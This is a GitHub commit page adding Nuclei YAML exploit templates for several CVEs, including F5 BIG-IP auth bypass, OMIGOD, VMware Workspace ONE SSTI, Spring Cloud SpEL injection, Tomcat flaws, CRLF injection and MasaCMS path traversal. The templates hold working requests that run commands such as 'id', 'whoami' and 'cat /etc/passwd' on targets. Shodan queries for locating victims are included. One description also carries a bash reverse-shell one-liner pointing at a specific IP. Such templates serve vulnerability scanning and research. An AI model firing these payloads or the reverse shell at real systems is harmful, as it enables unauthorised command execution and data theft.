Skip to content

Commit 437cce2

Browse files
hktalenthktalent
committed
add more nuclei yaml pocs 2023-09-16
1 parent 2a7faf7 commit 437cce2

File tree

5,583 files changed

+207341
-44
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

5,583 files changed

+207341
-44
lines changed

‎config/51pwn/CRLF.yaml

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
id: CheckCVE_CRLF
2+
info:
3+
name: CheckCVE_CRLF
4+
author: 51pwn
5+
severity: critical
6+
description: |
7+
CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue and the CVE-2019-9947 path string issue. (This is not exploitable when glibc has CVE-2016-10739 fixed.)
8+
cat hk1_httpx.json|jq '.url'|sed 's/"//g'|xargs -I % nuclei -duc -t $HOME/MyWork/scan4all/config/51pwn/CRLF.yaml -u %
9+
reference:
10+
- https://www.hacking8.com/web-hacking-101-zh/7.html
11+
- https://51pwn.com/CyberChef/#recipe=URL_Decode()&input=aHR0cHM6Ly90d2l0dGVyLmNvbS9sb2dpbj9yZWRpcmVjdF9hZnRlcl9sb2dpbj1odHRwczovL3R3aXR0ZXIuY29tOjIxLyVFNSU5OCU4QQolRTUlOTglOERjb250ZW50LXR5cGU6dGV4dC9odG1sJUU1JTk4JThBJUU1JTk4JThEbG9jYXRpb246JUU1JTk4JThBJUU1JTk4JThECiVFNSU5OCU4QSVFNSU5OCU4RCVFNSU5OCVCQ3N2Zy9vbmxvYWQ9YWxlcnQlMjhpbm5lckhUTUwlMjglMjklRTUlOTglQkU
12+
13+
tags: web,crlf
14+
15+
requests:
16+
- raw:
17+
- |+
18+
GET /login?redirect_after_login=https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE HTTP/1.1
19+
Host: {{Hostname}}
20+
Accept:*/*
21+
Pragma:no-cache
22+
Accept-Encoding:gzip, deflate
23+
Connection: close
24+
Content-Length: 0
25+
26+
- |+
27+
GET /?%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>",alert(33)," HTTP/1.1
28+
Host: {{Hostname}}
29+
Accept:*/*
30+
Pragma:no-cache
31+
Accept-Encoding:gzip, deflate
32+
Connection: close
33+
Content-Length: 0
34+
35+
# end payload
36+
unsafe: true
37+
req-condition: true
38+
stop-at-first-match: true
39+
matchers-condition: and
40+
matchers:
41+
- type: word
42+
part: body
43+
words:
44+
- "svg/onload=alert(innerHTML"
45+
- "<html>deface</html>"
46+
47+

‎config/51pwn/CVE-2019-0221.yaml

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
id: CVE-2019-0221
2+
3+
info:
4+
name: Apache Tomcat - Cross-Site Scripting
5+
author: pikpikcu
6+
severity: medium
7+
description: |
8+
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
9+
reference:
10+
- https://seclists.org/fulldisclosure/2019/May/50
11+
- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
12+
- https://www.exploit-db.com/exploits/50119
13+
- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
14+
- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
15+
classification:
16+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
17+
cvss-score: 6.1
18+
cve-id: CVE-2019-0221
19+
cwe-id: CWE-79
20+
metadata:
21+
shodan-query: title:"Apache Tomcat"
22+
tags: apache,xss,tomcat,seclists,edb,cve,cve2019
23+
24+
requests:
25+
- method: GET
26+
path:
27+
- "{{BaseURL}}/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
28+
- "{{BaseURL}}/ssi/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
29+
30+
matchers-condition: and
31+
matchers:
32+
33+
- type: word
34+
words:
35+
- "<script>alert('xss')</script>"
36+
37+
- type: word
38+
part: header
39+
words:
40+
- "text/html"
41+
42+
- type: status
43+
status:
44+
- 200
45+
46+
# Enhanced by mp on 2022/08/11

‎config/51pwn/CVE-2020-9484.yaml

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
id: CVE-2020-9484
2+
3+
info:
4+
name: Apache Tomcat Remote Command Execution
5+
author: dwisiswant0
6+
severity: high
7+
description: |
8+
When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if
9+
a) an attacker is able to control the contents and name of a file on the server; and
10+
b) the server is configured to use the PersistenceManager with a FileStore; and
11+
c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and
12+
d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.
13+
Note that all of conditions a) to d) must be true for the attack to succeed.
14+
reference:
15+
- http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html
16+
- https://nvd.nist.gov/vuln/detail/CVE-2020-9484
17+
- https://lists.apache.org/thread.html/r77eae567ed829da9012cadb29af17f2df8fa23bf66faf88229857bb1%40%3Cannounce.tomcat.apache.org%3E
18+
- https://lists.apache.org/thread.html/rf70f53af27e04869bdac18b1fc14a3ee529e59eb12292c8791a77926@%3Cusers.tomcat.apache.org%3E
19+
classification:
20+
cvss-metrics: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
21+
cvss-score: 7
22+
cve-id: CVE-2020-9484
23+
cwe-id: CWE-502
24+
metadata:
25+
shodan-query: title:"Apache Tomcat"
26+
tags: rce,packetstorm,cve,cve2020,apache,tomcat
27+
28+
requests:
29+
- method: GET
30+
headers:
31+
Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
32+
path:
33+
- "{{BaseURL}}/index.jsp"
34+
35+
matchers-condition: and
36+
matchers:
37+
- type: status
38+
status:
39+
- 500
40+
41+
- type: word
42+
part: body
43+
words:
44+
- "Exception"
45+
- "ObjectInputStream"
46+
- "PersistentManagerBase"
47+
condition: and
48+
49+
# Enhanced by mp on 2022/04/04

‎config/51pwn/CVE-2021-38647.yaml

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
id: CVE-2021-38647_51pwn
2+
3+
info:
4+
name: OMIGOD – RCE Vulnerability in Multiple Azure Linux Deployments CVE-2021-38647
5+
author: 51pwn
6+
severity: Critical
7+
description: |
8+
On September 14, multiple vulnerabilities were discovered by researchers at Wiz.io.
9+
The most critical of them being CVE-2021-38647, now dubbed OMIGOD,
10+
which effects the Open Management Infrastructure (OMI) agent in versions 1.6.8.0 and below.
11+
reference:
12+
- https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
13+
14+
tags: RCE,Web
15+
16+
requests:
17+
- raw:
18+
- |
19+
POST /wsman HTTP/1.1
20+
Connection: close
21+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
22+
Host: {{Hostname}}
23+
Content-Type: application/soap+xml;charset=UTF-8
24+
25+
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
26+
<s:Header>
27+
<a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
28+
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
29+
<a:ReplyTo>
30+
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
31+
</a:ReplyTo>
32+
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
33+
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
34+
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
35+
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
36+
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
37+
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
38+
<w:OptionSet s:mustUnderstand="true" />
39+
<w:SelectorSet>
40+
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
41+
</w:SelectorSet>
42+
</s:Header>
43+
<s:Body>
44+
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
45+
<p:command>id</p:command>
46+
<p:timeout>0</p:timeout>
47+
</p:ExecuteShellCommand_INPUT>
48+
</s:Body>
49+
</s:Envelope>
50+
51+
# end
52+
matchers-condition: and
53+
matchers:
54+
- type: regex
55+
regex:
56+
- <p:StdOut>(.*uid=.*)<\/p:StdOut>
57+

‎config/51pwn/CVE-2021-42183.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: CVE-2021-42183_51pwn
2+
info:
3+
name: MasaCMS 7.2.1 is affected by a path traversal vulnerability in /index.cfm/_api/asset/image/.
4+
author: 51pwn
5+
severity: critical
6+
reference:
7+
- https://github.com/hktalent/nuclei-templates
8+
- https://51pwn.com
9+
tags: oss
10+
11+
requests:
12+
- raw:
13+
- |+
14+
GET /_api/asset/image/?filePath=/../config/settings.ini.cfm HTTP/1.1
15+
Host: {{Hostname}}
16+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
17+
Pragma:no-cache
18+
unsafe: true
19+
cookie-reuse: true
20+
req-condition: true
21+
22+
matchers-condition: or
23+
matchers:
24+
- type: dsl
25+
dsl:
26+
- "status_code_1 == 200"

‎config/51pwn/CVE-2022-1388.yaml

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
id: CVE-2022-1388_51pwn
2+
3+
info:
4+
name: F5 BIG-IP iControl REST Auth Bypass RCE
5+
author: dwisiswant0
6+
severity: critical
7+
description: |
8+
doNuclei https://181.188.0.131 ~/MyWork/mybugbounty/yaml/CVE-2022-1388.yaml
9+
This vulnerability may allow an unauthenticated attacker
10+
with network access to the BIG-IP system through the management
11+
port and/or self IP addresses to execute arbitrary system commands,
12+
create or delete files, or disable services. There is no data plane
13+
exposure; this is a control plane issue only. # "utilCmdArgs": "-c 'bash -i >& /dev/tcp/107.182.191.202/1234 0>&1' "
14+
reference:
15+
- https://twitter.com/GossiTheDog/status/1523566937414193153
16+
- https://support.f5.com/csp/article/K23605346
17+
classification:
18+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
19+
cvss-score: 9.80
20+
cve-id: CVE-2022-1388
21+
cwe-id: CWE-306
22+
metadata:
23+
shodan-query: http.title:"BIG-IP&reg;-+Redirect" +"Server"
24+
verified: true
25+
tags: bigip,cve,cve2022,rce,mirai
26+
27+
variables:
28+
# admin:horizon3
29+
auth: "admin:"
30+
31+
requests:
32+
- raw:
33+
- |
34+
POST /mgmt/tm/util/bash HTTP/1.1
35+
Host: 127.0.0.1
36+
Connection: Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host
37+
X-F5-Auth-Token: a
38+
Authorization: Basic {{base64(auth)}}
39+
Content-Type: application/json
40+
41+
{
42+
"command": "run",
43+
"utilCmdArgs": "-c id"
44+
}
45+
matchers-condition: and
46+
matchers:
47+
- type: regex
48+
regex:
49+
- "(commandResult)"
50+
- "(uid=\\d+\\(.*)"
51+
- type: status
52+
status:
53+
- 200
54+
condition: and
55+
extractors:
56+
- type: regex
57+
part: body
58+
regex:
59+
- "(uid=\\d+\\([^\\n]{3,})"

‎config/51pwn/CVE-2022-22954.yaml

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
id: CVE-2022-22954_51pwn
2+
3+
info:
4+
name: VMware Workspace ONE Access - Server-Side Template Injection
5+
author: 51pwn
6+
severity: critical
7+
description: |
8+
VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager.
9+
reference:
10+
- https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011
11+
- https://www.vmware.com/security/advisories/VMSA-2022-0011.html
12+
- http://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html
13+
- https://nvd.nist.gov/vuln/detail/CVE-2022-22954
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
16+
cvss-score: 9.8
17+
cve-id: CVE-2022-22954
18+
cwe-id: CWE-94
19+
metadata:
20+
shodan-query: http.favicon.hash:-1250474341
21+
tags: cve,cve2022,vmware,ssti,workspaceone,cisa
22+
23+
requests:
24+
- method: GET
25+
path:
26+
# - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}" # Executes cat /etc/passwd
27+
- "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d" # Executes cat /etc/passwd
28+
29+
matchers-condition: and
30+
matchers:
31+
- type: word
32+
part: body
33+
words:
34+
- "root:*:0:0:"
35+
36+
37+
# Enhanced by mp on 2022/07/06

‎config/51pwn/CVE-2022-22963.yaml

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
id: CVE-2022-22963_51pwn
2+
3+
info:
4+
name: spring cloud exp
5+
author: Nicolas Krassas
6+
severity: critical
7+
description: RCE on Spring cloud function SPEL
8+
reference: https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
9+
tags: web,spring
10+
11+
requests:
12+
- raw:
13+
- |-
14+
POST /functionRouter HTTP/1.1
15+
Host: {{Hostname}}
16+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
17+
Accept-Encoding: gzip, deflate
18+
Accept: */*
19+
Connection: close
20+
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("whoami")
21+
Accept-Language: en
22+
Content-Type: application/x-www-form-urlencoded
23+
Content-Length: 4
24+
test
25+
matchers-condition: and
26+
matchers:
27+
- type: word
28+
part: body
29+
words:
30+
- 'functionRouter'
31+
- type: status
32+
status:
33+
- 500

0 commit comments

Comments
 (0)